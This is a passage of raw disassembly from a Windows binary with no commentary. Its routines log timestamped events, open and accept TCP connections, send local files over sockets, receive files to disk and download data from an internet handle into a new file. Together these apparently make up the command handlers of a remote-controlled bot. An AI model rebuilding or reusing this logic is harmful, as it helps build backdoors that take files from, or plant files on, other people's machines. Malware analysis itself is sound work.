loc_41575E: ; CODE XREF: ___:00415757j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415769 loc_415765: ; CODE XREF: ___:00415789j ; ___:004157ADj mov eax, edi jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_415769: ; CODE XREF: ___:00415763j lea eax, [ebp-10Ch] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41578B lea eax, [ebp-210h] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jz short loc_415765 loc_41578B: ; CODE XREF: ___:00415778j lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_415765 mov eax, [ebp-4] neg eax sbb eax, eax loc_4157B6: ; CODE XREF: ___:004156F5j ; ___:0041575Cj ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h, 6AEC4D8Dh dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h, 0B0358B00h dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h dd 53004CB9h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CBA5415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h dd 0A366286Ah, 4CF194h, 0B9D415FFh, 0D80004Ch, 4CF198h dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h, 0A3004CBAh dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h, 4CF1D01Dh dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h dd 0BF004CF1h, 4CF1D4h, 9A1D8966h, 66004CF1h, 0F1B41D89h dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h, 286A5300h dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 7AE890FFh, 2B0228ACh, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 26B28CE8h dd 0FDC2E902h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43DB90 mov edi, 0B8h loc_415C54: ; CODE XREF: sub_415C40+33j cmp byte ptr [esi], 0 jz short loc_415C77 push [ebp+arg_0] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_415C77 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E710 jl short loc_415C54 jmp short loc_415CB9 ; --------------------------------------------------------------------------- loc_415C77: ; CODE XREF: sub_415C40+17j ; sub_415C40+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43DB90[esi] push ebx call sub_41BF70 push 17h push [ebp+arg_0] push ebx call sub_41BFD0 push 9Fh lea eax, dword_43DBA8[esi] push [ebp+arg_4] push eax call sub_41BFD0 add esp, 24h inc dword_4294CC pop ebx loc_415CB9: ; CODE XREF: sub_415C40+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437EF0 push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43DB90 loc_415CEA: ; CODE XREF: sub_415CC0+72j cmp byte ptr [esi], 0 jz short loc_415D25 lea eax, [esi+18h] push eax push esi push edi push offset dword_437EDC lea eax, [ebp+var_200] push 200h push eax call sub_41C360 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch loc_415D25: ; CODE XREF: sub_415CC0+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E710 jl short loc_415CEA pop edi pop esi leave retn sub_415CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D38 proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 27B0000h mov ebx, offset dword_4D35F4 mov edi, 80h mov esi, offset dword_4CF5F4 loc_415D5A: ; CODE XREF: sub_415D38+3Dj cmp byte ptr [ebx], 0 jz short loc_415D71 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BFD0 add esp, 0Ch loc_415D71: ; CODE XREF: sub_415D38+25j sub ebx, edi cmp ebx, esi jge short loc_415D5A movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C360 add esp, 28h pop edi pop esi pop ebx leave retn sub_415D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_408967p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41CB70 lea eax, [ebp+var_80] push eax call sub_415D38 add esp, 14h leave retn sub_415DAC endp ; =============== S U B R O U T I N E ======================================= sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF5F4 xor ecx, ecx loc_415DDF: ; CODE XREF: sub_415DD8+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D35F4 jl short loc_415DDF cmp [esp+arg_C], ecx jnz short loc_415E0D push ecx push [esp+4+arg_8] push offset dword_437F3C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409869 add esp, 14h loc_415E0D: ; CODE XREF: sub_415DD8+19j push offset dword_437F28 call sub_415D38 pop ecx retn sub_415DD8 endp ; =============== S U B R O U T I N E ======================================= sub_415E19 proc near ; CODE XREF: ___:0040E1FFp arg_0 = dword ptr 4 push esi mov esi, offset dword_4CF5F4 loc_415E1F: ; CODE XREF: sub_415E19+27j cmp byte ptr [esi], 0 jz short loc_415E34 push [esp+4+arg_0] push esi call sub_4185D3 pop ecx test eax, eax pop ecx jnz short loc_415E46 loc_415E34: ; CODE XREF: sub_415E19+9j add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415E1F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415E46: ; CODE XREF: sub_415E19+19j push 1 pop eax pop esi retn sub_415E19 endp ; --------------------------------------------------------------------------- byte_415E4B db 55h ; DATA XREF: sub_401ACD+2844o ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_415E9E push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_437F6C push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415E9E: ; CODE XREF: ___:00415E7Ej cmp byte ptr [ebp-98h], 0 jz short loc_415EBE lea eax, [ebp-98h] push eax call sub_41C159 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415EBE mov [ebp-8], eax loc_415EBE: ; CODE XREF: ___:00415EA5j ; ___:00415EB9j and dword ptr [ebp+8], 0 mov esi, offset dword_4CF5F4 loc_415EC7: ; CODE XREF: ___:00415F1Fj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415F21 cmp byte ptr [esi], 0 jz short loc_415F10 cmp byte ptr [ebp-98h], 0 jz short loc_415EF6 cmp dword ptr [ebp-4], 0 jnz short loc_415EF6 lea eax, [ebp-98h] push eax push esi call sub_4185D3 pop ecx test eax, eax pop ecx jz short loc_415F10 loc_415EF6: ; CODE XREF: ___:00415EDBj ; ___:00415EE1j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F10: ; CODE XREF: ___:00415ED2j ; ___:00415EF4j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415EC7 loc_415F21: ; CODE XREF: ___:00415ECDj lea eax, [ebp-31Ch] push offset dword_437F50 push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415F5B push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F5B: ; CODE XREF: ___:00415F39j lea eax, [ebp-31Ch] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dw 89E8h ; --------------------------------------------------------------------------- mov al, ds:5F90022Dh pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F7A proc near ; CODE XREF: ___:0041661Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FF6 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_415FDB push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_415FF6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415FDB: ; CODE XREF: sub_415F7A+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_415FFA push edi call dword_4CBA6C loc_415FF6: ; CODE XREF: sub_415F7A+1Bj ; sub_415F7A+58j mov eax, esi jmp short loc_415FFC ; --------------------------------------------------------------------------- loc_415FFA: ; CODE XREF: sub_415F7A+73j mov eax, edi loc_415FFC: ; CODE XREF: sub_415F7A+7Ej pop edi pop esi leave retn sub_415F7A endp ; --------------------------------------------------------------------------- dword_416000 dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh ; DATA XREF: sub_401ACD+A02o dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh, 9F6EE856h dd 6890022Dh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h dd 5659FFFFh, 2D9F03E8h, 646A9002h, 26ADB8E8h, 0FF339002h dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h, 8D000067h dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h dd 0AD5FE890h, 0A6A0226h, 0FF549DE8h, 59C085FFh, 858DA375h dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFB8FE8h dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh dd 2D9E3FE8h db 2 ; --------------------------------------------------------------------------- loc_4161C1: ; DATA XREF: sub_401ACD+7696o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_41620F push offset unk_4380EC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41620F: ; CODE XREF: ___:00416203j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CB9D4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CBA00 test eax, eax jz short loc_41624D push offset unk_4380C8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: ___:00416241j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CB978 push dword ptr [ebp-2Eh] call dword_4CB904 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B9C0 pop ecx loc_41627F: ; CODE XREF: ___:004162B0j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_416292 push 5Fh pop eax jmp short loc_416295 ; --------------------------------------------------------------------------- loc_416292: ; CODE XREF: ___:0041628Bj movsx eax, al loc_416295: ; CODE XREF: ___:00416290j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B9C0 cmp [ebp+8], eax pop ecx jbe short loc_41627F push ebx push edi call dword_4CB9FC test eax, eax jz short loc_4162C8 push offset unk_437FEC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162C8: ; CODE XREF: ___:004162BCj push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call near ptr 27207BBh nop cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4162F2 push offset unk_4380A8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162F2: ; CODE XREF: ___:004162E6j push esi push eax call near ptr 2760C61h nop mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AA06 pop ecx push eax call dword_4CBA14 push eax call dword_4CB9D0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_438090 push eax call sub_41C266 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CB9BC test eax, eax jg short loc_4163A2 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_438078 push eax push dword ptr [ebp-1FCh] call sub_409869 jmp loc_4164C6 ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: ___:00416380j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_4163DB push offset unk_438054 loc_4163C8: ; CODE XREF: ___:0041620Aj ; ___:00416248j ... lea eax, [ebp-3FCh] push eax call sub_41C266 pop ecx pop ecx jmp loc_4164C9 ; --------------------------------------------------------------------------- loc_4163DB: ; CODE XREF: ___:004163C1j push edi call dword_4CBA6C cmp [ebp+8], esi jz loc_41648D mov edi, 400h loc_4163F0: ; CODE XREF: ___:00416484j mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_4163FD mov [ebp-4], eax loc_4163FD: ; CODE XREF: ___:004163F8j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BF70 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2791072h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 27010AAh push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CBA24 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CB9EC cmp eax, ebx jl loc_416522 mov eax, [ebp-4] cmp eax, ebx jl loc_416522 sub [ebp+8], eax jnz loc_4163F0 mov edi, [ebp-18h] loc_41648D: ; CODE XREF: ___:004163E5j push dword ptr [ebp-8] nop call near ptr 2670000h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416CC9 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CBA60 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_438028 push eax call sub_41C266 loc_4164C6: ; CODE XREF: ___:0041639Dj add esp, 14h loc_4164C9: ; CODE XREF: ___:004163D6j cmp [ebp-50h], esi jnz short loc_4164EE push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 14h loc_4164EE: ; CODE XREF: ___:004164CCj lea eax, [ebp-3FCh] push eax call sub_415D38 cmp edi, esi pop ecx jbe short loc_416506 push edi call dword_4CBA6C loc_416506: ; CODE XREF: ___:004164FDj push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push esi nop call near ptr 26F0000h loc_416522: ; CODE XREF: ___:00416470j ; ___:0041647Bj push esi mov esi, offset dword_438010 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409869 push esi call sub_415D38 add esp, 18h push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0000h loc_416563: ; DATA XREF: sub_401ACD+798o push ebp mov ebp, esp mov eax, 14C4h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2680ABAh lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429AC8 push eax call sub_41C266 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 27207BBh cmp eax, 0FFFFFFFFh jnz short loc_4165ED push offset unk_43818C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_4165ED: ; CODE XREF: ___:004165E4j push eax nop call near ptr 2670000h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BEA2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_416615 push offset unk_43815C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_416615: ; CODE XREF: ___:0041660Cj push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415F7A pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_416646 push offset unk_43813C loc_416633: ; CODE XREF: ___:004165EBj ; ___:00416613j lea eax, [ebp-4C4h] push eax call sub_41C266 pop ecx pop ecx jmp loc_416742 ; --------------------------------------------------------------------------- loc_416646: ; CODE XREF: ___:0041662Cj mov esi, 1000h loc_41664B: ; CODE XREF: ___:004166B1j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CB9EC mov edi, eax cmp edi, ebx jz loc_416712 cmp edi, 0FFFFFFFFh jz short loc_4166B3 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41DB54 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CB9D0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CBA24 jmp short loc_41664B ; --------------------------------------------------------------------------- loc_4166B3: ; CODE XREF: ___:0041667Bj lea eax, [ebp-4C4h] push offset dword_438010 push eax call sub_41C266 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 lea eax, [ebp-4C4h] push eax call sub_415D38 push dword ptr [ebp-4] call sub_41BA3B add esp, 24h push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push 1 nop call near ptr 26F0000h loc_416712: ; CODE XREF: ___:00416672j mov eax, [ebp-8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_438110 push eax call sub_41C266 add esp, 14h loc_416742: ; CODE XREF: ___:00416641j cmp [ebp-14h], ebx jnz short loc_416767 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 add esp, 14h loc_416767: ; CODE XREF: ___:00416745j lea eax, [ebp-4C4h] push eax call sub_415D38 cmp [ebp-4], ebx pop ecx jz short loc_416782 push dword ptr [ebp-4] call sub_41BA3B pop ecx loc_416782: ; CODE XREF: ___:00416777j cmp [ebp+8], ebx jbe short loc_416790 push dword ptr [ebp+8] call dword_4CBA6C loc_416790: ; CODE XREF: ___:00416785j push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0000h loc_4167A0: ; DATA XREF: sub_401ACD+619Bo ; sub_401ACD+69D9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CB984 call dword_4CB8D8 cmp eax, esi mov [ebp-18h], eax jz loc_416C2C push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 27207BBh cmp eax, edi mov [ebp-20h], eax jnb short loc_416867 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_438358 push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_41684A push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_41684A: ; CODE XREF: ___:00416828j lea eax, [ebp-510h] push eax call sub_415D38 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26F0000h loc_416867: ; CODE XREF: ___:00416808j xor edi, edi nop call near ptr 26A0891h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BEB5 pop ecx mov [ebp-1Ch], eax loc_416881: ; CODE XREF: ___:00416954j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CB8E0 cmp [ebp-34h], esi jz short loc_4168C5 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416C92 pop ecx pop ecx loc_4168C5: ; CODE XREF: ___:004168B2j lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 2710000h cmp edi, ebx jnb short loc_416903 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4168ED mov eax, [ebp+8] loc_4168ED: ; CODE XREF: ___:004168E8j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41CD20 add esp, 0Ch loc_416903: ; CODE XREF: ___:004168DFj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416910 cmp edi, [ebp-3Ch] ja short loc_41695A loc_416910: ; CODE XREF: ___:00416909j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_41692A shr eax, 0Ah push eax 